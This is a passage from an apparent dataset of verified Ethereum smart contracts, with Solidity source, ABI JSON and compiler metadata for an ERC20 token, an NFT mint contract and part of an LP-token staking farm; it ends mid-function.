// Dependency file: @openzeppelin/contracts/token/ERC20/ERC20.sol
// pragma solidity ^0.8.0;
// import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
// import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
// import "@openzeppelin/contracts/utils/Context.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// Root file: contracts/SnekToken.sol
pragma solidity ^0.8.2;
// import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract Snek is ERC20 {
constructor() ERC20("Snek", "SNEK") {
_mint(msg.sender, 200000000000 * 10 ** decimals());
}
} | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}] | v0.8.7+commit.e28d00a7 | true | 200 | Default | MIT | false | ipfs://7b7ec6082e2ee44853be180aa55055aa476eca2bca8c7165a33e13044502be2f |
|||
CrapHeads | src/CrapHeads.sol | 0x9e1d529eb90a753d47bb91b84bca2313244b4b7c | Solidity | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract CrapHeads is ERC721A, Ownable {
using Strings for uint256;
uint256 public constant PRICE = 0.01 ether;
uint256 public constant MAX_PER_TX = 3;
uint256 public constant MAX_SUPPLY = 600;
bool public saleIsCraptive;
string public baseURI;
constructor() ERC721A("Crap Heads", "CRAPHEADS") {}
function mint(uint256 amount) external payable {
require(tx.origin == msg.sender, "Like someone would bot this.");
require(saleIsCraptive, "Sale is not craptive yet.");
require(amount <= MAX_PER_TX, "Mint less you greedy bastard!");
require(amount + _totalMinted() <= MAX_SUPPLY, "Enough of this crap.");
require(amount > 0, "Zero craps given.");
require(msg.value == PRICE * amount, "No eth no crap");
_safeMint(msg.sender, amount);
}
function ownerMint(uint256 amount) external onlyOwner {
_safeMint(msg.sender, amount);
}
function craptivate() external onlyOwner {
saleIsCraptive = !saleIsCraptive;
}
function setBaseURI(string memory baseURI_) external onlyOwner {
baseURI = baseURI_;
}
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
if (!_exists(tokenId)) revert URIQueryForNonexistentToken();
return
bytes(baseURI).length != 0
? string(abi.encodePacked(abi.encodePacked(baseURI, tokenId.toString()), ".json"))
: "ipfs://QmYKHPzx2gW6cTpmy1ihZMXqSVvt9yUAQGRoK61wLm7t7Z/";
}
function totalMinted() public view returns (uint256) {
return _totalMinted();
}
function withdraw() external payable onlyOwner {
(bool success, ) = payable(msg.sender).call{value: address(this).balance}("");
require(success);
}
} | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"ApprovalCallerNotOwnerNorApproved","type":"error"},{"inputs":[],"name":"ApprovalQueryForNonexistentToken","type":"error"},{"inputs":[],"name":"ApprovalToCurrentOwner","type":"error"},{"inputs":[],"name":"ApproveToCaller","type":"error"},{"inputs":[],"name":"BalanceQueryForZeroAddress","type":"error"},{"inputs":[],"name":"MintToZeroAddress","type":"error"},{"inputs":[],"name":"MintZeroQuantity","type":"error"},{"inputs":[],"name":"OwnerQueryForNonexistentToken","type":"error"},{"inputs":[],"name":"TransferCallerNotOwnerNorApproved","type":"error"},{"inputs":[],"name":"TransferFromIncorrectOwner","type":"error"},{"inputs":[],"name":"TransferToNonERC721ReceiverImplementer","type":"error"},{"inputs":[],"name":"TransferToZeroAddress","type":"error"},{"inputs":[],"name":"URIQueryForNonexistentToken","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"MAX_PER_TX","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MAX_SUPPLY","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"PRICE","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"craptivate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"ownerMint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"saleIsCraptive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"baseURI_","type":"string"}],"name":"setBaseURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalMinted","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"payable","type":"function"}] | v0.8.9+commit.e5eed63a | false | 200 | Default | MIT | false | ||||
Farm01 | Context.sol | 0x6322c73c62f9f3992d05a5e8bda2792c4364d63c | Solidity | // SPDX-License-Identifier: MIT
// From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/GSN/Context.sol
// Subject to the MIT license.
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
} | [{"inputs":[{"internalType":"address","name":"_factory","type":"address"},{"internalType":"address","name":"_farmGenerator","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Deposit","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"EmergencyWithdraw","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Withdraw","type":"event"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"deposit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"emergencyWithdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"factory","outputs":[{"internalType":"contract IFarmFactory","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"farmGenerator","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"farmInfo","outputs":[{"internalType":"contract IERC20","name":"lpToken","type":"address"},{"internalType":"contract IERC20","name":"rewardToken","type":"address"},{"internalType":"uint256","name":"startBlock","type":"uint256"},{"internalType":"uint256","name":"blockReward","type":"uint256"},{"internalType":"uint256","name":"bonusEndBlock","type":"uint256"},{"internalType":"uint256","name":"bonus","type":"uint256"},{"internalType":"uint256","name":"endBlock","type":"uint256"},{"internalType":"uint256","name":"lastRewardBlock","type":"uint256"},{"internalType":"uint256","name":"accRewardPerShare","type":"uint256"},{"internalType":"uint256","name":"farmableSupply","type":"uint256"},{"internalType":"uint256","name":"numFarmers","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"farmType","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_from_block","type":"uint256"},{"internalType":"uint256","name":"_to","type":"uint256"}],"name":"getMultiplier","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"_rewardToken","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"contract IERC20","name":"_lpToken","type":"address"},{"internalType":"uint256","name":"_blockReward","type":"uint256"},{"internalType":"uint256","name":"_startBlock","type":"uint256"},{"internalType":"uint256","name":"_endBlock","type":"uint256"},{"internalType":"uint256","name":"_bonusEndBlock","type":"uint256"},{"internalType":"uint256","name":"_bonus","type":"uint256"}],"name":"init","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"pendingReward","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"updatePool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"userInfo","outputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"rewardDebt","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.6.12+commit.27d51765 | false | 200 | 000000000000000000000000388f7e6d45e058aa703227b44e216e3be3c6a6e7000000000000000000000000197d2286f299c323272c08d768d7fd987e1350f2 | Default | None | false | ipfs://0f037a3eb55840c7676bbe2f0dd4b836cae7cafe5cf0631adacb8e12adc7cbf5 |
||
Farm01 | Farm01.sol | 0x6322c73c62f9f3992d05a5e8bda2792c4364d63c | Solidity | // SPDX-License-Identifier: UNLICENSED
pragma solidity 0.6.12;
import "./SafeMath.sol";
import "./SafeERC20.sol";
import "./TransferHelper.sol";
interface IFarmFactory {
function userEnteredFarm (address _user) external;
function userLeftFarm (address _user) external;
}
contract Farm01 {
using SafeMath for uint256;
using SafeERC20 for IERC20;
/// @notice information stuct on each user than stakes LP tokens.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt.
}
/// @notice all the settings for this farm in one struct
struct FarmInfo {
IERC20 lpToken;
IERC20 rewardToken;
uint256 startBlock;
uint256 blockReward;
uint256 bonusEndBlock;
uint256 bonus;
uint256 endBlock;
uint256 lastRewardBlock; // Last block number that reward distribution occurs.
uint256 accRewardPerShare; // Accumulated Rewards per share, times 1e12
uint256 farmableSupply; // set in init, total amount of tokens farmable
uint256 numFarmers;
}
/// @notice farm type id. Useful for back-end systems to know how to read the contract (ABI) as we plan to launch multiple farm types
uint256 public farmType = 1;
IFarmFactory public factory;
address public farmGenerator;
FarmInfo public farmInfo;
/// @notice information on each user than stakes LP tokens
mapping (address => UserInfo) public userInfo;
event Deposit(address indexed user, uint256 amount);
event Withdraw(address indexed user, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 amount);
constructor(address _factory, address _farmGenerator) public {
factory = IFarmFactory(_factory);
farmGenerator = _farmGenerator;
}
/**
* @notice initialize the farming contract. This is called only once upon farm creation and the FarmGenerator ensures the farm has the correct paramaters
*/
function init (IERC20 _rewardToken, uint256 _amount, IERC20 _lpToken, uint256 _blockReward, uint256 _startBlock, uint256 _endBlock, uint256 _bonusEndBlock, uint256 _bonus) public {
require(msg.sender == address(farmGenerator), 'FORBIDDEN');
TransferHelper.safeTransferFrom(address(_rewardToken), msg.sender, address(this), _amount);
farmInfo.rewardToken = _rewardToken;
farmInfo.startBlock = _startBlock;
farmInfo.blockReward = _blockReward;
farmInfo.bonusEndBlock = _bonusEndBlock;
farmInfo.bonus = _bonus;
uint256 lastRewardBlock = block.number > _startBlock ? block.number : _startBlock;
farmInfo.lpToken = _lpToken;
farmInfo.lastRewardBlock = lastRewardBlock;
farmInfo.accRewardPerShare = 0;
farmInfo.endBlock = _endBlock;
farmInfo.farmableSupply = _amount;
}
/**
* @notice Gets the reward multiplier over the given _from_block until _to block
* @param _from_block the start of the period to measure rewards for
* @param _to the end of the period to measure rewards for
* @return The weighted multiplier for the given period
*/
function getMultiplier(uint256 _from_block, uint256 _to) public view returns (uint256) {
uint256 _from = _from_block >= farmInfo.startBlock ? _from_block : farmInfo.startBlock;
uint256 to = farmInfo.endBlock > _to ? _to : farmInfo.endBlock;
if (to <= farmInfo.bonusEndBlock) {
return to.sub(_from).mul(farmInfo.bonus);
} else if (_from >= farmInfo.bonusEndBlock) {
return to.sub(_from);
} else {
return farmInfo.bonusEndBlock.sub(_from).mul(farmInfo.bonus).add(
to.sub(farmInfo.bonusEndBlock)
);
}
}
/**
* @notice function to see accumulated balance of reward token for specified user
* @param _user the user for whom unclaimed tokens will be shown
* @return total amount of withdrawable reward tokens
*/
function pendingReward(address _user) external view returns (uint256) {
UserInfo storage user = userInfo[_user];
uint256 accRewardPerShare = farmInfo.accRewardPerShare;
uint256 lpSupply = farmInfo.lpToken.balanceOf(address(this));
if (block.number > farmInfo.lastRewardBlock && lpSupply != 0) {
uint256 multiplier = getMultiplier(farmInfo.lastRewardBlock, block.number);
uint256 tokenReward = multiplier.mul(farmInfo.blockReward);
accRewardPerShare = accRewardPerShare.add(tokenReward.mul(1e12).div(lpSupply));
}
return user.amount.mul(accRewardPerShare).div(1e12).sub(user.rewardDebt);
}
/**
* @notice updates pool information to be up to date to the current block
*/
function updatePool() public {
if (block.number <= farmInfo.lastRewardBlock) {
return;
}
uint256 lpSupply = farmInfo.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
farmInfo.lastRewardBlock = block.number < farmInfo.endBlock ? block.number : farmInfo.endBlock;
return;
}
uint256 multiplier = getMultiplier(farmInfo.lastRewardBlock, block.number);
uint256 tokenReward = multiplier.mul(farmInfo.blockReward);
farmInfo.accRewardPerShare = farmInfo.accRewardPerShare.add(tokenReward.mul(1e12).div(lpSupply));
farmInfo.lastRewardBlock = block.number < farmInfo.endBlock ? block.number : farmInfo.endBlock;
}
/**
* @notice deposit LP token function for msg.sender
* @param _amount the total deposit amount
*/
function deposit(uint256 _amount) public {
UserInfo storage user = userInfo[msg.sender];
updatePool();
if (user.amount > 0) {
uint256 pending = user.amount.mul(farmInfo.accRewardPerShare).div(1e12).sub(user.rewardDebt);
safeRewardTransfer(msg.sender, pending);
}
if (user.amount == 0 && _amount > 0) {
factory.userEnteredFarm(msg.sender);
farmInfo.numFarmers++;
}
farmInfo.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount);
user.rewardDebt = user.amount.mul(farmInfo.accRewardPerShare).div(1e12);
emit Deposit(msg.sender, _amount);
}
/**
* @notice withdraw LP token function for msg.sender
* @param _amount the total withdrawable amount
*/
function withdraw(uint256 _amount) public {
UserInfo storage user = userInfo[msg.sender];
require(user.amount >= _amount, "INSUFFICIENT");
updatePool();
if (user.amount == _amount && _amount > 0) {
factory.userLeftFarm(msg.sender);
farmInfo.numFarmers--;
}
uint256 pending = user.amount.mul(farmInfo.accRewardPerShare).div(1e12).sub(user.rewardDebt);
safeRewardTransfer(msg.sender, pending);
user.amount = user.amount.sub(_amount);
user.rewardDebt = user.amount.mul(farmInfo.accRewardPerShare).div(1e12);
farmInfo.lpToken.safeTransfer(address(msg.sender), _amount);
emit Withdraw(msg.sender, _amount);
}
/**
* @notice emergency functoin to withdraw LP tokens and forego harvest rewards. Important to protect users LP tokens
*/
function emergencyWithdraw() public {
UserInfo storage user = userInfo[msg.sender];
farmInfo.lpToken.safeTransfer(address(msg.sender), user.amount);
emit EmergencyWithdraw(msg.sender, user.amount);
if (user.amount > 0) {
factory.userLeftFarm(msg.sender);
farmInfo.numFarmers--;
}
user.amount = 0;
user.rewardDebt = 0;
}
/**
* @notice Safe reward transfer function, just in case a rounding error causes pool to not have enough reward tokens
* @param _to the user address to transfer tokens to
* @param _amount the total amount of tokens to transfer
*/
function safeRewardTransfer(address _to, uint256 _amount) internal {
uint256 rewardBal = farmInfo.rewardToken.balanceOf(address(this));
if (_amount > rewardBal) {
